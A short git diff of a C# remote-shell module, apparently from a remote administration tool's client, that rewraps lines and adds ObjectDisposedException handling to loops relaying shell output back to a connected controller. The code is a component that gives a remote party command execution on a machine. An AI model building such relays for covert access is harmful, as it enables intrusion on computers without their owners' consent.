diff --git a/Client/Core/RemoteShell/Shell.cs b/Client/Core/RemoteShell/Shell.cs index 9a69a2d6..c05c26fc 100644 --- a/Client/Core/RemoteShell/Shell.cs +++ b/Client/Core/RemoteShell/Shell.cs @@ -90,7 +90,8 @@ private void RedirectStandardOutput() if (!string.IsNullOrEmpty(read)) { Thread.Sleep(200); - new Packets.ClientPackets.ShellCommandResponse(read + Environment.NewLine).Execute(Program.ConnectClient); + new Packets.ClientPackets.ShellCommandResponse(read + Environment.NewLine).Execute( + Program.ConnectClient); } redirectOutputEvent.Reset(); @@ -100,6 +101,10 @@ private void RedirectStandardOutput() if ((_prc == null || _prc.HasExited) && _read) throw new ApplicationException("session unexpectedly closed"); } + catch (ObjectDisposedException ex) + { + // just exit + } catch (Exception ex) { if (ex is ApplicationException || ex is InvalidOperationException) @@ -132,7 +137,8 @@ private void RedirectStandardError() if (!string.IsNullOrEmpty(read)) { Thread.Sleep(200); - new Packets.ClientPackets.ShellCommandResponse(read + Environment.NewLine, true).Execute(Program.ConnectClient); + new Packets.ClientPackets.ShellCommandResponse(read + Environment.NewLine, true).Execute( + Program.ConnectClient); } redirectStandardErrorEvent.Set(); @@ -142,6 +148,10 @@ private void RedirectStandardError() if ((_prc == null || _prc.HasExited) && _read) throw new ApplicationException("session unexpectedly closed"); } + catch (ObjectDisposedException) + { + // just exit + } catch (Exception ex) { if (ex is ApplicationException || ex is InvalidOperationException)